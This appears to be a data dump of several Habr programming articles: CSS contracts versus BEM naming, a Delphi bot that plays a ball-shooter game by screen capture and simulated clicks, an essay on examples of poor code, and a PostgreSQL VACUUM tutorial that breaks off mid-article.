Попробую теперь переложить эту идею на HTML+CSS+JS. Представим себе для начала два простых контракта — container и item, они же имена CSS-классов. Первый говорит нам, что он берет на себя обязательства по работе с item. Ему абсолютно все равно, какой за ним стоит тег или DOM-узел. Это может быть элемент списка, пункт меню, закладка на таб-контроле. Он может работать с кем угодно, если этот кто-то готов исполнять контракт item. Таким образом мы укрощаем задачу по принципу «разделяй и властвуй», разбивая на отдельные функциональные области. Работая, например, с меню мы разделяем всё его многообразие функций на те, что отвечают за организацию пунктов меню по принципу container+item, и все остальные.
Для контракта item можем определить некоторую функцию getParent() { return $(this.dom).closest(".container"); }. Для контейнера целую россыпь функций вроде remoteItem, upItem, downItem и т.п. Используя в селекторах только .container и .item вы знаете, что одни и те же функции вы можете использовать для списков, меню, закладок и любых других видов коллекций. Или, другими словами, вы пишите функции по работе со списками и контейнерами один раз, в дальнейшем их просто используете. Если вы добавили новую функцию в свою библиотеку, то она автоматически может быть использована везде, где контейнеры были организованы таким образом. Это замечательно работает в программировании, так почему бы этому принципу не сработать и здесь?
#### Пример
Давайте попробуем экстраполируем этот пример, скажем, на табы.
```
* …
* …
…
…
…
…
```
Интерфейс tabbed берет на себя обязательства предоставить доступ к контейнерам _tabs и _pages. Это значит, что если у вас на руках есть объект, реализующий этот контракт, то вы вправе вызвать методы getTabs и getPages, чтобы получить доступ к соответствующим контейнерам. Про последние мы знаем, что они реализуют контракт container, а значит имеют на руках все необходимые функции для работы с коллекцией закладок, в том числе обрабатывать first/last/odd/even и прочие типовые стили для списков. То есть изобретать заново функцию для удаления таба будет не нужно.
К контейнерам добавился еще один контракт — selectable. Он может брать на себя обязательства по предоставлению функции для определения текущего выбранного элемента, менять выбранный элемент и т.п. Например, функции:
```
getSelected: function() {
return $(this.dom).find(".item.selected").first();
},
deselect: function() {
$(this.dom).getSelected().removeClass("selected") ;
},
select: function (item) {
this.deselect(); $(item.dom).addClass("selected");
}
```
И опять же, эти функции будут одинаково хорошо работать для списков, выпадающих список, панелбаров, слайдеров и всех прочих типов виджетов, где предполагается наличие выбранного элемента, а не только для табов. Когда вы находите и исправляете ошибку в этих функциях, то вы исправляете ее везде.
Если вы, скажем, захотите добавить возможность перетаскивать табы drag'n'drop-ом, то просто добавите контракты drag/drop, что позволит сразу задействовать все те типовые функции, которые были для этой цели уже подготовлены.
Но стоит только написать в БЭМ-стиле tabbed_tabs__item, как краски сразу потускнеют. Ведь весь тот код, который всегда хорошо работал с селектором ".item", для самых разных виджетов, перестал работать. У вас были скины, с самыми различными отображениями табов, но они теперь тоже не работают. Мне могут возразить, что имеют место специальные расширения для того же jQuery, которые помогут разобраться со всем этим синтаксическим мусором. Но мне пока не понятно, зачем создавать проблемы, а потом их решать.
#### Стандарты
Естественно, все эти «контракты», как и интерфейсы в объектно-ориентированном дизайне, должны быть систематизированы и разложены по полочкам. В программировании это зачастую решается за счет использования пространств имен. Но делается это один раз, а потом используется сколь угодно долго и на любом количестве проектов.
На базе таких контрактов гораздо проще ввести внутренние стандарты и реализовать валидаторы, которые будут держать качество кода на постоянном контроле. Это позволит всем участникам процесса, в том числе и вновь подключившимся, мыслить в одном ключе. В начале — императивно, а потом уже по привычке. Ведь как в объектно-ориентированном дизайне контракты не вводятся просто так, а являются следствием продуманного акта, так и в CSS имена классов не должны возникать спонтанно, необдуманно. Ведь БЭМ хоть и пытается контролировать структурный аспект разработки, но совершенно упускает системный. Кто-то табы назовет tabs, кто-то tab-control, иной tab-widget. Например, форма логина у Яндекса из примера в начале статьи называется «b-domik». Это же так мило, назвать ее не login, signup или еще как-нибудь осмысленно, а «би-домик». Вспоминается старое институтское «пи с домиком и пи с душечкой». Верх креатива, но ад для валидации и рефакторинга. Если вы внезапно захотите найти все формы логина и добавить туда новые опции (скажем, идентификацию через какой-нибудь новый социальный сервис), то вам предстоит отловить этот би-домик, узнать, что в почте яндекса он уже зовется b-mail-domik, ссылка «Войти в почту» c титульной страницы уже содержит форму логина с классом b-popupa__wrap. А сколько вам еще подготовлено «открытий чудных»…
Мне кажется, что верстальщики вообще не должны выдумывать имена классов. Обеспечение интерфейсов между HTML и JS должно осуществляться проектировщиками. Они разрабатывают контракты, систематизируют и доносят эту информацию до тружеников HTML/CSS. Это дает и масштабируемость JS-кода, и реюзинг, и рефакторинг, и валидацию в соответствии с корпоративными стандартами, а значит — качество. Мне кажется этого вполне достаточно для того, чтобы был повод поразмышлять.
#### CSS-препроцессоры
Под конец замечу, что такие стили достаточно легко и органично описываются в духе LESS/SASS/Stylus-препроцессоров:
```
.tabbed {
…
._tabs {
….
.item {
….
.selected {
…
}
}
}
…
}
```
Таким образом можно легко собирать и повторно использовать различные скины. Причем, при компиляции все это породит семантически похожие на БЭМ селекторы, поскольку нет никакой существенной разницы между .tabbed ._tabs .item {…} и .tabbed_tabs__item {…}.
```** | https://habr.com/ru/post/171437/ | null | ru | null |
# Написание бота для игры в Шарики 2.0
Недавно наткнулся на простенькую [игрушку](https://vk.com/app3197585), где необходимо стрелять шариком в группы одного цвета. Хотя в игры я играю очень редко, минут 30 я с ней посидел.
Захотелось автоматизировать этот процесс. Знаний для игры не требуется, да игр таких много.
Описываю процесс написания бота к данной игре.
Идея была следующая:
**Шаг 1.** получаем картинку с экрана
**Шаг 2.** перенос цветов шариков в матрицу
**Шаг 3.** высчитывание позиции и клик мышкой для выполнения хода
Для написания программы я немного колебался между Qt и Delphi, но так как хотелось всё сделать побыстрей решил сделать на Delphi.
Теперь можно реализовывать **Шаг 1.**
Для получения картинки задаём приблизительное положение окна с игрой и копируем этот участок в TImage, ранее расположенный на форме.
```
procedure MakeFrame();
var
bmp:TBitmap;
rect:TRect;
begin
rect.Left := 50;
rect.Top:= 150;
rect.Right:=550; // Screen.Width
rect.Bottom:=550; // Screen.Height
bmp := TBitmap.Create;
bmp.Width := Screen.Width;
bmp.Height := Screen.Height;
BitBlt(bmp.Canvas.Handle, 0, 0, rect.Right, rect.Bottom,
GetDC(0), rect.Left, rect.Top, SRCCOPY);
Form1.Image1.Width := rect.Right;
Form1.Image1.Height := rect.Bottom;
Form1.Image1.Picture.Assign(bmp);
bmp.Free;
end;
```
Если поместить данный код в таймер, двигая окно с игрой можно расположить его так, что копироваться будет именно изображение игры.
**Шаг2.** Необходимо узнать цвета шариков. Как видно их всего 3 варианта, прям RGB.
Высота между рядами а также диаметры шариков постоянные, поэтому мы можем составить сетку положения шариков.
```
for I:=0 to rows do
begin
offset:=10; // сдвиг
if (I mod 2) <> 0 then offset:=offset+(36 div 2);
for J:=0 to cols do
begin
mat[i,j].Y := 10+Round(I*36); // позиция шарика
mat[i,j].X := offset+Round(J*36);
// пулятель (было не охото создавать ещё переменную и повторять код)
if (I=rows) and (J=cols) then begin
mat[i,j].Y := 519;
mat[i,j].X := 262;
end;
// обработка полученного пикселя
end;
end;
```
Чтобы узнать цвет шарика сравним его пиксель с пороговым значением каждого из цветов RGB
```
rgb:=Form1.Image1.Canvas.Pixels[ mat[i,j].X, mat[i,j].Y-4 ];
mat[i,j].color := 0;
mat[i,j].summa := 0;
if GetRValue(rgb) > 230 then mat[i,j].color:=1;
if GetGValue(rgb) > 230 then mat[i,j].color:=2;
if GetBValue(rgb) > 230 then mat[i,j].color:=3;
```
И чтобы убедиться что всё в порядке нарисуем на шарике маленький прямоугольник с полученным цветом
```
if mat[i,j].color = 0 then Form1.Image1.Canvas.Brush.Color := clWhite;
if mat[i,j].color = 1 then Form1.Image1.Canvas.Brush.Color := clRed;
if mat[i,j].color = 2 then Form1.Image1.Canvas.Brush.Color := clGreen;
if mat[i,j].color = 3 then Form1.Image1.Canvas.Brush.Color := clBlue;
Form1.Image1.Canvas.Rectangle(
mat[i,j].X-5, mat[i,j].Y-5, mat[i,j].X+5, mat[i,j].Y+5
);
```
Получается такая симпатичная картина.
На этом работа с сеткой заканчивается и начинается работа с полученной матрицей
**Шаг 3.**
Проверим все шарики на возможность пальнуть в него, для этого нужно проверить, чтобы на пути к нему мы не столкнулись с другим шариком.
Проверка происходит через вложенные циклы (по шарикам и для каждого проверяем остальные)
Само условие проверки получается при системы из трёх неравенств.
{ A=1, B=(x0-y0)/(y1-y0), C=-x0-By0 }
|Ax3+By3+C| / sqrt(A^2+b^2) <= radius
```
/// теперь найдём шар куда пулять
for I:=0 to rows-1 do
for J:=0 to cols do
begin
if (mat[I,J].color = 0) and (I <> 0) then continue;
mat[i,j].allow:=1;
// куда хотим пулять
LineMaxX:=mat[I,J].X;
LineMaxY:=mat[I,J].Y;
// откуда хотим пулять
LineMinX:=mat[rows,cols].X;
LineMinY:=mat[rows,cols].Y;
mat[I,J].dist := sqrt(
sqr(mat[I,J].X-mat[rows,cols].X)+
sqr(mat[I,J].Y-mat[rows,cols].Y));
for II:=I+1 to rows-1 do
for JJ:=0 to cols do
begin
if mat[II,JJ].color = 0 then continue; // если шарика нет
LineMiddleX:=mat[II,JJ].X;
LineMiddleY:=mat[II,JJ].Y;
// не множко не красивый код но переписывалось
// с решенных уравнений на бумажке
ka:=1;
kb:=(LineMinX-LineMaxX)/(LineMaxY-LineMinY);
kc:=-LineMinX-kb*LineMinY;
kz:=
abs(ka*LineMiddleX + kb*LineMiddleY+kc)/
sqrt(sqr(ka)+sqr(kb));
if kz < 39 then mat[i,j].allow:=0;
//Form1.Memo1.Lines.Add(FloatToStr(kz));
end;
```
Для наглядности проведём линии к шарикам, к которым можно пулять.
```
if mat[i,j].allow = 1 then begin
Form1.Image1.Canvas.Pen.Width:= 2;
Form1.Image1.Canvas.Pen.Color:= clWhite;
Form1.Image1.Canvas.MoveTo(Round(LineMinX),Round(LineMinY));
Form1.Image1.Canvas.LineTo(Round(LineMaxX),Round(LineMaxY));
end;
```
Нужно из разрешенных выбрать шарик с одинаковым цветом.
```
for I:=0 to rows-1 do
for J:=0 to cols do
begin
if mat[i,j].allow = 1 then
begin
Form1.Image1.Canvas.Pen.Width:= 2;
Form1.Image1.Canvas.Pen.Color:= clWhite;
Form1.Image1.Canvas.MoveTo(Round(LineMinX),Round(LineMinY));
Form1.Image1.Canvas.LineTo(Round(LineMaxX),Round(LineMaxY)); // линия
if mat[i,j].color=mat[rows,cols].color // если цвета совпали
then begin
MouseX:=mat[i,j].X+50;
MouseY:=mat[i,j].Y+250; // шарик + смещение по экрану
break;
end;
end;
end;
```
И сделать клик мышкой на экране через WinApi
```
if Form1.CheckBox2.Checked then
begin
GetCursorPos(MouseL);
SetCursorPos(MouseX,MouseY);
mouse_event(MOUSEEVENTF_LEFTDOWN,MouseX,MouseY,0,0);// - нажать левой кнопки
mouse_event(MOUSEEVENTF_LEFTUP,MouseX,MouseY,0,0);// - отпустить левую кнопку
SetCursorPos(MouseL.X,MouseL.Y);
end;
```
Осталось всё выполнить в таймере и идти пить чай.
Видео работы программы
Можно улучшить алгоритм, например находить группы с большим числом шариков или искать линии отрезающие части поля.
Имена функций и переменные может названы не красиво, но это можно исправить.
Если нужны **исходники**, то [они тут](https://www.dropbox.com/s/c9cukofc9pujjvv/BallBot.rar). | https://habr.com/ru/post/165297/ | null | ru | null |
# Причины и следствия
Здесь я хочу поделиться с вами тремя примерами неадекватного кода. И в то же время постараюсь разобрать и классифицировать каждый случай. Тем самым расскажу не только «что такое плохо?», но и «почему?»
#### Недостаток знаний/опыта.
Не так давно пришлось воскрешать некогда очень популярный в своих кругах проект, занимавший первые строки в поисковиках и оставивший ощутимый след в [архиве](http://www.archive.org/). Сейчас он тихонечко катится «на нейтралке». После глобальной переработки и запуска проекта в полную силу, я обязательно напишу «как это было». А сейчас о том коде, который не прошел цензуру.
Похожий код уже публиковался на [хабрахабре](http://habrahabr.ru/blogs/code_wtf/28527/). Коротко. По ссылке: выборка идентификатора для вставки нового элемента в таблицу базы данных MySQL (выбирается наибольший идентификатор, прибавляется единица, вставляется новая запись). Автор шедевра, который я вам хочу представить, пошел еще дальше. ID выбирается случайно, попытки вставить запись не прекращаются до тех пор, пока генератор псевдослучайных чисел не угадает свободный ID.
Код выглядел примерно так:
> `$id = 0;
>
> while (!$id || mysql_error()) {
>
> $id = rand(1, 10000000);
>
> mysql_query("INSERT INTO `table` (id) VALUES ('".$id."'");
>
> }`
**Причина.** Незнание автором особенностей SQL (auto\_increment в частности).
**Совет.** Учиться, учиться и еще раз учиться. Читать умные книжки, смотреть чужие коды, критиковать собственный код, просить совета у более опытных программистов.
#### Непонимание.
В десятом классе на уроке информатики я получил задание написать программу, определяющую является ли введенное число полным квадратом. Программа была написана и зачтена. Через два года, пробежав глазами по коду, я не смог понять почему он работает. Алгоритм заключался в сравнении корня введенного числа и частного введенного числа и его корня (см. код чуть ниже).
Выглядело это так:
> `readln(x);
>
> if sqrt(x) = x/sqrt(x) then
>
> writeln(x, ' - полный квадрат')
>
> else
>
> writeln(x, ' - не является полным квадратом');`
**Причина.** Я не проанализировал свой код. С математической точки зрения, условие «sqrt(x) = x/sqrt(x)» выполняется всегда (при x > 0), и лишь благодаря ограничению разрядной сетки операндов программа выполняла свою функцию (в конце дробной части возникала погрешность).
**Совет.** Понять свой код. Убедиться в том, что в программе протекают задуманные процессы.
#### Невнимательность.
И напоследок страшная сказка на ночь. Следующий код, в отличие от приведенных выше, никогда и никем не был написан (я очень на это надеюсь). Хотя его аналоги на других языках программирования, похоже, встречаются на самом деле. Например, #define TRUE FALSE (С, я полагаю?), [упомянутый ранее](http://habrahabr.ru/blogs/code_wtf/28535/#comment_750594). Или пресловутая «собака» (@) в PHP.
Ассемблер:
> `push ss
>
> mov ss, 01f7
>
> ; ...
>
> pop ss`
Я не стану уверять вас, что этот код работоспособен (с ассемблером имел дело давно… и неправда). Общий смысл, который я хотел передать: в стек помещается адрес сегмента стека, в регистр адреса сегмента стека пишется случайное значение, потом некоторые действия и «востановление» регистра адреса сегмента стека из «стека». Что будет дальше никому неизвестно. Подобные случаи грозят очень долгой отладкой.
**Причина.** Абсолютно не продумана последовательность операций. Не учтены последствия к которым может привести безобидный набор команд.
**Совет.** Контролировать косвенное влияние написанного кода на то, что было написано ранее или может быть написано в будущем. Недопускать неявных ограничений, накладываемых кодом, на программу в целом и отдельные ее участки.
Все написанное выше можно найти в любой, мало-мальски грамотной, книжке по программированию. И, возможно, теперь, Вам захочется прочитать одну из них. Также, надеюсь, теперь, Вы станете внимательнее относиться к Вашему коду.
**upd**: Ввиду появления большого количества защитников «случайных» идентификаторов в таблицах БД, отвечу всем сразу: если необходимо скрыть реальные ID, нужно использовать mod\_rewrite, а не коверкать БД. | https://habr.com/ru/post/46196/ | null | ru | null |
# MVCC in PostgreSQL-6. Vacuum
We started with problems related to [isolation](https://habr.com/ru/company/postgrespro/blog/467437/), made a digression about [low-level data structure](https://habr.com/ru/company/postgrespro/blog/469087/), then discussed [row versions](https://habr.com/ru/company/postgrespro/blog/477648/) and observed how [data snapshots](https://habr.com/ru/company/postgrespro/blog/479512/) are obtained from row versions.
[Last time](https://habr.com/ru/company/postgrespro/blog/483768/) we talked about HOT updates and in-page vacuuming, and today we'll proceed to a well-known *vacuum vulgaris*. Really, so much has already been written about it that I can hardly add anything new, but the beauty of a full picture requires sacrifice. So keep patience.
Vacuum
======
What does vacuum do?
--------------------
In-page vacuum works fast, but frees only part of the space. It works within one table page and does not touch indexes.
The basic, «normal» vacuum is done using the VACUUM command, and we will call it just «vacuum» (leaving «autovacuum» for a separate discussion).
So, vacuum processes the entire table. It vacuums away not only dead tuples, but also references to them from all indexes.
Vacuuming is concurrent with other activities in the system. The table and indexes can be used in a regular way both for reads and updates (however, concurrent execution of commands such as CREATE INDEX, ALTER TABLE and some others is impossible).
Only those table pages are looked through where some activities took place. To detect them, the *visibility map* is used (to remind you, the map tracks those pages that contain pretty old tuples, which are visible in all data snapshots for sure). Only those pages are processed that are not tracked by the visibility map, and the map itself gets updated.
The *free space map* also gets updated in the process to reflect the extra free space in the pages.
As usual, let's create a table:
```
=> CREATE TABLE vac(
id serial,
s char(100)
) WITH (autovacuum_enabled = off);
=> CREATE INDEX vac_s ON vac(s);
=> INSERT INTO vac(s) VALUES ('A');
=> UPDATE vac SET s = 'B';
=> UPDATE vac SET s = 'C';
```
We use the *autovacuum\_enabled* parameter to turn the autovacuum process off. We will discuss it next time, and now it is critical for our experiments that we manually control vacuuming.
The table now has three tuples, each of which are referenced from the index:
```
=> SELECT * FROM heap_page('vac',0);
```
```
ctid | state | xmin | xmax | hhu | hot | t_ctid
-------+--------+----------+----------+-----+-----+--------
(0,1) | normal | 4000 (c) | 4001 (c) | | | (0,2)
(0,2) | normal | 4001 (c) | 4002 | | | (0,3)
(0,3) | normal | 4002 | 0 (a) | | | (0,3)
(3 rows)
```
```
=> SELECT * FROM index_page('vac_s',1);
```
```
itemoffset | ctid
------------+-------
1 | (0,1)
2 | (0,2)
3 | (0,3)
(3 rows)
```
After vacuuming, dead tuples get vacuumed away, and only one, live, tuple remains. And only one reference remains in the index:
```
=> VACUUM vac;
=> SELECT * FROM heap_page('vac',0);
```
```
ctid | state | xmin | xmax | hhu | hot | t_ctid
-------+--------+----------+-------+-----+-----+--------
(0,1) | unused | | | | |
(0,2) | unused | | | | |
(0,3) | normal | 4002 (c) | 0 (a) | | | (0,3)
(3 rows)
```
```
=> SELECT * FROM index_page('vac_s',1);
```
```
itemoffset | ctid
------------+-------
1 | (0,3)
(1 row)
```
Note that the first two pointers acquired the status «unused» instead of «dead», which they would acquire with in-page vacuum.
About the transaction horizon once again
----------------------------------------
How does PostgreSQL make out which tuples can be considered dead? We already touched upon the concept of transaction horizon when discussing [data snapshots](https://habr.com/ru/company/postgrespro/blog/479512/), but it won't hurt to reiterate such an important matter.
Let's start the previous experiment again.
```
=> TRUNCATE vac;
=> INSERT INTO vac(s) VALUES ('A');
=> UPDATE vac SET s = 'B';
```
But before updating the row once again, let one more transaction start (but not end). In this example, it will use the Read Committed level, but it must get a true (not virtual) transaction number. For example, the transaction can change and even lock certain rows in any table, not obligatory `vac`:
```
| => BEGIN;
| => SELECT s FROM t FOR UPDATE;
```
```
| s
| -----
| FOO
| BAR
| (2 rows)
```
```
=> UPDATE vac SET s = 'C';
```
There are three rows in the table and three references in the index now. What will happen after vacuuming?
```
=> VACUUM vac;
=> SELECT * FROM heap_page('vac',0);
```
```
ctid | state | xmin | xmax | hhu | hot | t_ctid
-------+--------+----------+----------+-----+-----+--------
(0,1) | unused | | | | |
(0,2) | normal | 4005 (c) | 4007 (c) | | | (0,3)
(0,3) | normal | 4007 (c) | 0 (a) | | | (0,3)
(3 rows)
```
```
=> SELECT * FROM index_page('vac_s',1);
```
```
itemoffset | ctid
------------+-------
1 | (0,2)
2 | (0,3)
(2 rows)
```
Two tuples remain in the table: VACUUM decided that the (0,2) tuple cannot be vacuumed yet. The reason is certainly in the transaction horizon of the database, which in this example is determined by the non-completed transaction:
```
| => SELECT backend_xmin FROM pg_stat_activity WHERE pid = pg_backend_pid();
```
```
| backend_xmin
| --------------
| 4006
| (1 row)
```
We can ask VACUUM to report what is happening:
```
=> VACUUM VERBOSE vac;
```
```
INFO: vacuuming "public.vac"
INFO: index "vac_s" now contains 2 row versions in 2 pages
DETAIL: 0 index row versions were removed.
0 index pages have been deleted, 0 are currently reusable.
CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s.
INFO: "vac": found 0 removable, 2 nonremovable row versions in 1 out of 1 pages
DETAIL: 1 dead row versions cannot be removed yet, oldest xmin: 4006
There were 1 unused item pointers.
Skipped 0 pages due to buffer pins, 0 frozen pages.
0 pages are entirely empty.
CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s.
VACUUM
```
Note that:
* `2 nonremovable row versions` — two tuples that cannot be deleted are found in the table.
* `1 dead row versions cannot be removed yet` — one of them is dead.
* `oldest xmin` shows the current horizon.
Let's reiterate the conclusion: if a database has long-lived transactions (not completed or being performed really long), this can entail table bloat regardless of how often vacuuming happens. Therefore, OLTP- and OLAP-type workloads poorly coexist in one PostgreSQL database: reports running for hours will not let updated tables be duly vacuumed. Creation of a separate replica for reporting purposes may be a possible solution to this.
After completion of an open transaction, the horizon moves, and the situation gets fixed:
```
| => COMMIT;
```
```
=> VACUUM VERBOSE vac;
```
```
INFO: vacuuming "public.vac"
INFO: scanned index "vac_s" to remove 1 row versions
DETAIL: CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s
INFO: "vac": removed 1 row versions in 1 pages
DETAIL: CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s
INFO: index "vac_s" now contains 1 row versions in 2 pages
DETAIL: 1 index row versions were removed.
0 index pages have been deleted, 0 are currently reusable.
CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s.
INFO: "vac": found 1 removable, 1 nonremovable row versions in 1 out of 1 pages
DETAIL: 0 dead row versions cannot be removed yet, oldest xmin: 4008
There were 1 unused item pointers.
Skipped 0 pages due to buffer pins, 0 frozen pages.
0 pages are entirely empty.
CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s.
VACUUM
```
Now only latest, live, version of the row is left in the page:
```
=> SELECT * FROM heap_page('vac',0);
```
```
ctid | state | xmin | xmax | hhu | hot | t_ctid
-------+--------+----------+-------+-----+-----+--------
(0,1) | unused | | | | |
(0,2) | unused | | | | |
(0,3) | normal | 4007 (c) | 0 (a) | | | (0,3)
(3 rows)
```
The index also has only one row:
```
=> SELECT * FROM index_page('vac_s',1);
```
```
itemoffset | ctid
------------+-------
1 | (0,3)
(1 row)
```
What happens inside?
--------------------
Vacuuming must process the table and indexes at the same time and do this so as not to lock the other processes. How can it do so?
All starts with the **scanning heap** phase (the visibility map taken into account, as already mentioned). In the pages read, dead tuples are detected, and their `tid`s are written down to a specialized array. The array is stored in the local memory of the vacuum process, where *maintenance\_work\_mem* bytes of memory are allocated for it. The default value of this parameter is 64 MB. Note that the full amount of memory is allocated at once, rather than as the need arises. However, if the table is not large, a smaller amount of memory is allocated.
Then we either reach the end of the table or the memory allocated for the array is over. In either case, the **vacuuming indexes** phase starts. To this end, *each* index created on the table *is fully scanned* in search of the rows that reference the remembered tuples. The rows found are vacuumed away from index pages.
Here we confront the following: the indexes do not already have references to dead tuples, while the table still has them. And this is contrary to nothing: when executing a query, we either don't hit dead tuples (with index access) or reject them at the visibility check (when scanning the table).
After that, the **vacuuming heap** phase starts. The table is scanned again to read the appropriate pages, vacuum them of the remembered tuples and release the pointers. We can do this since there are no references from the indexes anymore.
If the table was not entirely read during the first cycle, the array is cleared and everything is repeated from where we reached.
In summary:
* The table is always scanned twice.
* If vacuuming deletes so many tuples that they all do not fit in memory of size *maintenance\_work\_mem*, all the indexes will be scanned as many times as needed.
For large tables, this can require a lot of time and add considerable system workload. Of course, queries will not be locked, but extra input/output is definitely undesirable.
To speed up the process, it makes sense to either call VACUUM more often (so that not too many tuples are vacuumed away each time) or allocate more memory.
To note in parentheses, starting with version 11, PostgreSQL [can skip index scans](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=857f9c36cda520030381bd8c2af20adf0ce0e1d4) unless a compelling need arises. This must make the life easier for owners of large tables where rows are only added (but not changed).
Monitoring
----------
How can we figure out that VACUUM cannot do its job in one cycle?
We've already seen the first way: to call the VACUUM command with the VERBOSE option. In this case, information about the phases of the process will be output to the console.
Second, starting with version 9.6, the `pg_stat_progress_vacuum` view is available, which also provides all the necessary information.
(The third way is also available: to output the information to the message log, but this works only for autovacuum, which will be discussed next time.)
Let's insert quite a few rows in the table, for the vacuum process to last pretty long, and let's update all of them, for VACUUM to get stuff to do.
```
=> TRUNCATE vac;
=> INSERT INTO vac(s) SELECT 'A' FROM generate_series(1,500000);
=> UPDATE vac SET s = 'B';
```
Let's reduce the memory size allocated for the array of identifiers:
```
=> ALTER SYSTEM SET maintenance_work_mem = '1MB';
=> SELECT pg_reload_conf();
```
Let's start VACUUM and while it is working, let's access the `pg_stat_progress_vacuum` view several times:
```
=> VACUUM VERBOSE vac;
```
```
| => SELECT * FROM pg_stat_progress_vacuum \gx
```
```
| -[ RECORD 1 ]------+------------------
| pid | 6715
| datid | 41493
| datname | test
| relid | 57383
| phase | vacuuming indexes
| heap_blks_total | 16667
| heap_blks_scanned | 2908
| heap_blks_vacuumed | 0
| index_vacuum_count | 0
| max_dead_tuples | 174762
| num_dead_tuples | 174480
```
```
| => SELECT * FROM pg_stat_progress_vacuum \gx
```
```
| -[ RECORD 1 ]------+------------------
| pid | 6715
| datid | 41493
| datname | test
| relid | 57383
| phase | vacuuming indexes
| heap_blks_total | 16667
| heap_blks_scanned | 5816
| heap_blks_vacuumed | 2907
| index_vacuum_count | 1
| max_dead_tuples | 174762
| num_dead_tuples | 174480
```
Here we can see, in particular:
* The name of the current phase — we discussed three main phases, but there are [more](https://postgrespro.com/docs/postgresql/11/progress-reporting#VACUUM-PHASES) of them in general.
* The total number of table pages (`heap_blks_total`).
* The number of scanned pages (`heap_blks_scanned`).
* The number of already vacuumed pages (`heap_blks_vacuumed`).
* The number of index vacuum cycles (`index_vacuum_count`).
The general progress is determined by the ratio of `heap_blks_vacuumed` to `heap_blks_total`, but we should take into account that this value changes in large increments rather than smoothly because of scanning the indexes. The main attention, however, should be given to the number of vacuum cycles: the number greater than 1 means that the memory allocated was not enough to complete vacuuming in one cycle.
The output of the VACUUM VERBOSE command, already completed by that time, will show the general picture:
```
INFO: vacuuming "public.vac"
```
```
INFO: scanned index "vac_s" to remove 174480 row versions
DETAIL: CPU: user: 0.50 s, system: 0.07 s, elapsed: 1.36 s
INFO: "vac": removed 174480 row versions in 2908 pages
DETAIL: CPU: user: 0.02 s, system: 0.02 s, elapsed: 0.13 s
```
```
INFO: scanned index "vac_s" to remove 174480 row versions
DETAIL: CPU: user: 0.26 s, system: 0.07 s, elapsed: 0.81 s
INFO: "vac": removed 174480 row versions in 2908 pages
DETAIL: CPU: user: 0.01 s, system: 0.02 s, elapsed: 0.10 s
```
```
INFO: scanned index "vac_s" to remove 151040 row versions
DETAIL: CPU: user: 0.13 s, system: 0.04 s, elapsed: 0.47 s
INFO: "vac": removed 151040 row versions in 2518 pages
DETAIL: CPU: user: 0.01 s, system: 0.02 s, elapsed: 0.08 s
```
```
INFO: index "vac_s" now contains 500000 row versions in 17821 pages
DETAIL: 500000 index row versions were removed.
8778 index pages have been deleted, 0 are currently reusable.
CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s.
INFO: "vac": found 500000 removable, 500000 nonremovable row versions in 16667 out of 16667 pages
DETAIL: 0 dead row versions cannot be removed yet, oldest xmin: 4011
There were 0 unused item pointers.
0 pages are entirely empty.
CPU: user: 1.10 s, system: 0.37 s, elapsed: 3.71 s.
VACUUM
```
We can see here that three cycles over the indexes were done, and in each cycle, 174480 pointers to dead tuples were vacuumed away. Why exactly this number? One `tid` occupies 6 bytes, and 1024\*1024/6 = 174762, which is the number that we see in `pg_stat_progress_vacuum.max_dead_tuples`. In reality, slightly less may be used: this ensures that when a next page is read, all pointers to dead tuples will fit in memory for sure.
Analysis
--------
Analysis, or, in other words, collecting statistics for the query planner, is formally unrelated to vacuuming at all. Nevertheless, we can perform the analysis not only using the ANALYZE command, but combine vacuuming and analysis in VACUUM ANALYZE. Here the vacuum is done first and then the analysis, so this gives no gains.
But as we will see later, autovacuum and automatic analysis are done in one process and are controlled in a similar way.
VACUUM FULL
===========
As noted above, vacuum frees more space than in-page vacuum, but still it does not entirely solve the problem.
If for some reasons the size of a table or an index has increased a lot, VACUUM will free space inside the existing pages: «holes» will occur there, which will then be used for insertion of new tuples. But the number of pages won't change, and therefore, from the viewpoint of the operating system, the files will occupy exactly the same space as before the vacuum. And this is no good because:
* Full scan of the table (or index) slows down.
* A larger buffer cache may be required (since it is the pages that are stored there and the density of useful information decreases).
* In the index tree an extra level can occur, which will slow down index access.
* The files occupy extra space on disk and in backup copies.
(The only exception is fully vacuumed pages, located at the end of the file. These pages are trimmed from the file and returned to the operating system.)
If the share of useful information in the files falls below some reasonable limit, the administrator can do VACUUM FULL of the table. In this case, the table and all its indexes are rebuilt from scratch and the data are packed in a mostly compact way (of course, the `fillfactor` parameter taken into account). During the rebuild, PostgreSQL first rebuilds the table and then each of its indexes one-by-one. For each object, new files are created, and old files are removed at the end of rebuilding. We should take into account that extra disk space will be needed in the process.
To illustrate this, let's again insert a certain number of rows into the table:
```
=> TRUNCATE vac;
=> INSERT INTO vac(s) SELECT 'A' FROM generate_series(1,500000);
```
How can we estimate the information density? To do this, it's convenient to use a specialized extension:
```
=> CREATE EXTENSION pgstattuple;
=> SELECT * FROM pgstattuple('vac') \gx
```
```
-[ RECORD 1 ]------+---------
table_len | 68272128
tuple_count | 500000
tuple_len | 64500000
tuple_percent | 94.47
dead_tuple_count | 0
dead_tuple_len | 0
dead_tuple_percent | 0
free_space | 38776
free_percent | 0.06
```
The function reads the entire table and shows statistics: which data occupies how much space in the files. The main information of our interest now is the `tuple_percent` field: the percentage of useful data. It is less than 100 because of the inevitable information overhead inside a page, but is still pretty high.
For the index, different information is output, but the `avg_leaf_density` field has the same meaning: the percentage of useful information (in leaf pages).
```
=> SELECT * FROM pgstatindex('vac_s') \gx
```
```
-[ RECORD 1 ]------+---------
version | 3
tree_level | 3
index_size | 72802304
root_block_no | 2722
internal_pages | 241
leaf_pages | 8645
empty_pages | 0
deleted_pages | 0
avg_leaf_density | 83.77
leaf_fragmentation | 64.25
```
And these are the sizes of the table and indexes:
```
=> SELECT pg_size_pretty(pg_table_size('vac')) table_size,
pg_size_pretty(pg_indexes_size('vac')) index_size;
```
```
table_size | index_size
------------+------------
65 MB | 69 MB
(1 row)
```
Now let's delete 90% of all rows. We do a random choice of rows to delete, so that at least one row is highly likely to remain in each page:
```
=> DELETE FROM vac WHERE random() < 0.9;
```
```
DELETE 450189
```
What size will the objects have after VACUUM?
```
